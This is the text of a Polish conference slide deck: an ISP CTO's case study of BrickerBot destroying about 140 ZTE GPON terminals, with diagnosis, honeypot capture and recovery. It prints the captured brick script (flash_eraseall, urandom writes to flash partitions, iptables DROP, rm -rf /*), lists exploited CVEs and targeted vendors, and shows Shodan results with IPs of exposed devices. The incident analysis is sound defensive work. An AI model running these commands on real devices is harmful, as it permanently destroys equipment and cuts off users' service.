Niszczący atak na GPON ONT studium przypadku

Tomasz Brol

PLNOG
where ipeople meet

PLNOG
where ipeople meet

CTO at Syrion sp z o.o.

Syrion
JOIN THE FUTURE

PLNOG
where ipeople meet

Image Landsat / Copernicus
US Dept of State Geographer
© 2017 Google
Data SIO, NOAA, U.S. Navy, NGA, GEBCO
Google Earth
Data uzyskania obrazu: 12/14/2015 szer. geogr. 83,778947° dł. geogr. 79,837666° wysokość punktu widzenia 18116.73 km

:(

Your PC ran into a problem and needs to restart. We're just collecting some error info, and then we'll restart for you.

25% complete

For more information about this issue and possible fixes, visit http://windows.com/stopcode

If you call a support person, give them this info:
Stop code: CRITICAL_PROCESS_DIED

PLNOG
where ipeople meet

Sobota 14 października 2017

Marcin Karwot
RAPORT 14.10.2017
Do: DAS Syrion, Kierownicy Działu Technicznego, bok

Ważne 14 października 2017 20:08 MK

Witam,

Występują trudności z GPON ZTE w , kilkanaście sztuk ONU przestało działać z komunikatem DG, u klientów na różnych portach i różnych kartach.

Serwisant podjedzie jutro do jednego klienta w celu wymiany onu aby sprawdzić czy rzeczywiście trudność leży w ONU z hardware 22.

--
Pozdrawiam
Marcin Karwot

Sobota 14 października 2017

- Klienci zgłaszają niedostępność usług
- Na ONT świeci się tylko dioda POWER
- Diagnostyka pokazuje „Dying Gasp”
- Problemy występują tylko za jednym koncentratorem w jednej klasie /22
- Problemy występują tylko w jednej wersji HW

Programowane starzenie ?

- Pierwsze podejrzenia - starość
- Możliwe przyczyny dyrektywa ROHS
- Celowe działanie vendora ?

ROHS / Tin whiskers

- Niewielkie krystalicznie struktury „włoski”
- 0.006 do 10 μm grubości
- Do 1 cm długości (!!!)
- Powodują zwarcia w elektronice
- Zjawisko występuje wyraźniej przy zastosowaniu stopów bezołowiowych

ROHS / Tin whiskers

ROHS / BGA cracks

- Pęknięcia lutów pod układami BGA

Główne przyczyny:

- naprężenia spowodowane stresem termicznym
- słabej jakości lutowie (krystalizacja)

ROHS / BGA Cracks

ROHS

- Wyjątki w medycynie, lotnictwie, przemyśle kosmicznym
- Lead in solders for servers, storage and storage array systems, network infrastructure equipment for switching, transmission, and network management for telecommunications. (cat 7b)

Jednak nie hardware…

- Usługi przestają działać kilkanaście minut po wymianie terminala
- Rozpoczyna się oblężenie telefonów

PLNOG
where ipeople meet

A więc atak sieciowy…

- Wyizolowana sieć do zarządzania
- Nie ma możliwości zarządzania CPE od strony Internetu
- Abonenci mają wyłącznie dostęp do panelu usera przez Web

ALE JAK?!

Pierwsze środki zapobiegawcze

- Blokada zarządzania po IP (wyłączenie telnet, TR069, SNMP, WEB)
- Upgrade firmware (ale kilka wersji HW…)
- Zarządzanie wyłącznie po OMCI
- Wyłączenie routingu w vlanach do zarządzania

Sytuacja opanowana ?

- Nie wiemy czy atak trwa nadal.
- Nie wiemy ilu abonentów ma zbrickowane ONTy
- Nie jesteśmy w stanie rozróżnić który terminal został wyłączony, a który uszkodzony (identyczne komunikaty diagnostyczne)
- A telefony dzwonią…

Know your enemy…

- Wystawmy honeypota..
- … na publicznym IP
- Ale GPONa podsłuchać trudno …
- Zacznijmy od port-mirrora na catalyście

Know your enemy...

wireshark

Know your enemy...

- 未来 zainstalowany na ONT po niecałych 10 minutach (525.938558s pcapa) od podłączenia do sieci
- W ciągu ok 25 minut wgranych jescze kilka innych malware
- 28 minut po podłączeniu (1712.54297s) dzieje się coś ciekawego:

```
Login: root
Password: ******

BusyBox v1.01 (2014.04.10-22:21+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
```

```
flash_eraseall /dev/mtd0 >/dev/null &
flash_eraseall /dev/mtd1 >/dev/null &
flash_eraseall /dev/mtd2 >/dev/null &
cat /dev/urandom >/dev/mtd0 &
cat /dev/urandom >/dev/mtd1 &
cat /dev/urandom >/dev/mtd2 &
cat /dev/urandom >/dev/mtdblock0 &
cat /dev/urandom >/dev/mtdblock1 &
cat /dev/urandom >/dev/mtdblock2 &
cat /dev/urandom >/dev/mtdblock3 &
cat /dev/urandom >/dev/mtdblock4 &
cat /dev/urandom >/dev/mtdblock5 &
cat /dev/urandom >/dev/mtdblock6 &
cat /dev/urandom >/dev/mtdblock7 &
```

```
iptables -F;iptables -t nat -F
ip route del default
ip route
ip link set ppp0 down
link set br0 down
ip link set eth0 down
iptables -A fwinput -J DROP;iptables -A OUTPUT -j DROP;rm -rf /* &
```

Know your enemy… BrickerBot !

BrickerBot

- 140 ONT *ZTE* uszkodzonych w Syrionie
- Kilkaset ONT *Nokia/Alcatel 1240WA* u innego polskiego MIŚOT-a
- Kilkaset sztuk u innych polskich Operatorów (ale nie chcą o tym mówić)
- Ponad 1000 w Telefonerze
- Ponad 6000 w Kazach Telekom
- 60 000 uszkodzonych urządzeń w Indiach

Dr Cyborkian aka Janit0r – internet chemotherapy

- Autor przyznaje się do ponad 10 mln zaatakowanych urządzeń
- Celem autora było oczyszczenie internetu z podatnych urządzeń
- Artykuł autora : https://archive.fo/PQAnU
- ”projekt” został w/g autora został zakończony w grudniu 2017

PLNOG
where ipeople meet

2017-10-19

SHODAN F660 Explore Downloads Reports Enterprise Access

Exploits Maps Share Search Download Results Create Report

TOTAL RESULTS

21,894

TOP COUNTRIES

Romania	20,586
China	334
Poland	281
Nigeria	189
Bulgaria	97

TOP SERVICES

Telnet	21,431
Telnet (1023)	309
Telnet (2323)	57
UPnP	18
HTTPS	15

86.125.18.182
statio-86.125.18.182.craiova.rdsnet.ro
RCS & RDS Business
Added on 2017-10-19 12:13:06 GMT
Romania
Details
F660
Login:

79.117.213.73
d-79-117-213-73.craiova.rdsnet.ro
RCS & RDS Residential
Added on 2017-10-19 12:12:46 GMT
Romania, Craiova
Details
F660
Login:

79.117.132.145
d-79-117-132-145.craiova.rdsnet.ro
RCS & RDS Residential
Added on 2017-10-19 12:12:22 GMT
Romania, Craiova
Details
F660
Login:

188.24.204.181
188-24-204-181.rdsnet.ro
RCS & RDS Residential
Added on 2017-10-19 12:11:44 GMT
Romania, Braila
Details
F660
Login:

PLNOG
where ipeople meet

2018-03-11

SHODAN F660 Explore Enterprise Access

Exploits Maps

TOTAL RESULTS

13,957

TOP COUNTRIES

Romania	13,098
Poland	238
Nigeria	149
China	82
Brazil	66

82.78.249.175
82-78-249-175.rdsnet.ro
RCS & RDS Business
Added on 2018-03-11 21:07:28 GMT
Romania, Bucharest
Details
F660
Login:

79.119.50.251
79-119-50-251.rdsnet.ro
RCS & RDS Residential
Added on 2018-03-11 21:07:12 GMT
Romania, Oradea
Details
F660
Login:

79.119.8.201
79-119-8-201.rdsnet.ro
RCS & RDS Residential
Added on 2018-03-11 21:05:15 GMT
Romania, Oradea
F660
Login:

Dr Cyborkian aka Janit0r – internet chemotherapy

My ssh crawler is too dangerous to publish. It contains various levels of automation for the purpose of moving laterally through poorly designed ISP networks and taking them over through only a single breached router. My ability to commandeer and secure hundreds of thousands of ISP routers was the foundation of my anti-IoT botnet project as it gave me great visibility of what was happening on the Internet and it gave me an endless supply of nodes for hacking back.

PLNOG
where ipeople meet

Dr Cyborkian aka Janit0r – internet chemotherapy

BrickerBot

Attack Vector: HNAP

The HNAP module uses an exploit for D-Link devices to achieve RCE. It also tries to change network configuration to make the device unusable via authenticated requests with default passwords.

Attack Vector: SOAP

The SOAP module uses 3 exploits:
Eircom D-1000
Huawei CVE-2017-17215
Realtek CVE-2014-8361

BrickerBot – AV: HTTP

Observa Telecom Devices
Hikvision
Sifytechnologies Devices
Zyxel p66
Realtron Cameras
Supernet ADSL Modems
PLDThome DSL/Fiber Devices
FosCam
Aztech
Mediatek Devices
Grandstream Devices

AVTECH Multiple Vulnerabilities

WIFICAM Multiple vulnerabilities

Dahua Backdoor
ZTE ZXDSL 831
EnGenius RCE
CrossWeb DVR RCE
Hanbanggaoke IP Camera

WIFICAM cameras

D-Link DIR-600 / DIR-300 (Rev B) - Multiple Vulnerabilities

D-Link dsl-2750u ISP "backdoor" account

D-Link 850L Multiple Vulnerabilities

Unauthenticated command execution on Netgear DGN devices
NETGEAR R7000 / R6400 - 'cgi-bin'

Command Injection Vacron NVR Remote Command Execution

"JAWS" unbranded DVR

Ubiquiti AirOS 6.x – Arbitrary File Upload

Huawei B593 Authenticated RCE

BrickerBot – AV: Telnet

Ingenic devices
3Com Access Points
a5-v11
ADBGlobal
Alcatel OmniSwitch
Alcatel/Nokia ONUs
Artila
Avaya
Aver DVR
Axerra
Bintec-elmeg
Broadcom based products
BusyBox based products
CalAmp Fusion LTE
Cell-technology Janus
Cisco
Comtrend
Dahua DVR
Dasan Networks
DASAN ZHONE SOLUTIONS
Davolink
Digitel NetRouter
D-Link
Elsist
EV ZLX Two-way Speaker
Extremenetworks
Fortigate
Freescale Semiconductor
Hikvision
HiLinux cam
HiSilicon
HooToo TripMate
HP Printers
HUAWEI
Idirect
Integrated Dell Remote Access
Intellisyn Intelliserver
ip-com
itwatchdogs
Juniper Networks
KingType Modem/Router
KYlink SIP
Maipu
Maxon Intelimax
Meritlilin
Microhardcorp Bullet-LTE
Mikrotik
Multiqb
Nateks
Netbox
NetScreen Technologies
Netvanta
Netween CCTV & cameras
Nomadix
OpenWRT
Oxygenbroadband
Phyhome
Polycom
Protei
Q-See DVR
Qtech
Quagga
Ricoh
Robustel
Ruckus
Sagemcom
Samsung Ubigate
Shanghai Telecoms E8
Sixpon
TrendChip Technologies
uClinux
UTTGlobal ReOS
Vigor
VXworks
Welotec
Westermo
Windows CE Telnet Service
Xiongmai DVR
ZTE
ZyXEL

BrickerBot – źródła ataku

- Kilkaset urządzeń rozrzuconych po świecie
- Wszystkie atakujące „zombie” wystawiały port 22 ze starszą wersją demona dropbear
- Większość atakujących urządzeń jest identyfikowana przez Shodan.io jako urządzenia produkcji Ubiquiti Networks (tak prawdopodobnie zaatakowano nas)

PLNOG
where ipeople meet

BrickerBot – źródła ataku

Ale… mamy 140 uszkodzonych ONT

- Szybki przegląd PCB – brak JTAGa
- Trzeba podnieść kostkę pamięci FLASH
- W pamięci losowe dane
- Potrzebny dawca

ESMT
F59L1G81A-
AZP1P36FT
25T
1337
T50.000
2R2
74HCT08D
NXP
UX013236
L2E4A603
C125
C214
C43A1
C122
C44A1
R6A1
TP22
R20A1
D3A1
C39A1
R5A1
C38A1
R1A1
C41A1
R363
VD20
R507
C417
R3
R4
R467
R159
L4A1
C295
C141
C142
C212
R403
R217
R220
R219
GND
TP23
D8
G1
C283
C309
C185
R63
C19A1
D18
R234
TP21
R245
R247
R250
C62
R420
R163
R446
R448
R449
C484
R231
C311
R56
R230
C310
L57
C113
C114
C35
C36
R341
R411

Jest klon !

- Po wgraniu zawartości kostki ze sprawnego egzemplarza wszystko działa…
- … no prawie ;-)

PLNOG
where ipeople meet

Jest klon !

- ONTy autoryzują się w OLT przy pomocy PON SN
- … który w przypadku klona jest identyczny jak i MAC,
- I tu podziękowania dla S4Tech który powiedział nam jak podmienić dane bez grzebania we flashu)

PLNOG
where ipeople meet

Przywrócony !

Znalezione w skrzynce Ważne

20 października 2017 12:20

AB

Andrzej Baron

Odp: Fwd: Re: Serwer pod tcpdump

Do: Tomasz Brol, das

Zmiana PONSN działa:

```
ONU interface:      gpon-onu_1/3/2:34
  Name:             ONU-2:34
  Type:             F660
  State:            ready
  Admin state:      enable
  Phase state:      working
  Authentication mode: sn
  SN Bind:          enable with SN check
  Serial number:    ZTEGC077DEAD
```

MAC też:

```
Zory-Boczna#show mac gpon onu gpon-onu_1/3/2:34
Total mac address : 1
Mac address     Vlan  Type     Port                 Vc
-----------------------------------------------------
a47e.397c.b1ad  1666  Dynamic  gpon-onu_1/3/2:34    vport 3
```

SSID i jego hasło ustawiłem, ale się nie zmieniło, jednak nie ma to większego znaczenia, ponieważ i tak nie korzystamy ze standardowego.

Zobacz więcej od „Tomasz Brol"

PLNOG
where ipeople meet

PLNOG
where ipeople meet

96 % sukcesu

- Nie udało się naprawić kilku urządzeń z flashem w obudowie BGA
- Konieczność zakupu 10 kostek flash (12 zł) ze względu na badblocki

92% 22:18
Wykład
Ścieżka I
14:35 - 15:20, mar, 19
Sieciowy atak na CPE skutkujący fizycznym uszkodzeniem sprzętu.
Oceń wykład
1
2
3
4
5
Prelegenci
Tomasz Brol
CTO, Syrion Sp. z o.o.
Pewnego popołudnia rozdzwoniły się telefony, dziewczyny z Call Center przyjmują zgłoszenia, ONTy GPON u abonentów świecą jedynie diodą POWER, w logach jedynie Dying Gasp... O tym co się stało i jak sobie z tym poradziliśmy opowiem podczas mojej prezentacji.
Uczestnicy
+1

Q&A

Oceń prelekcję w aplikacji

eventory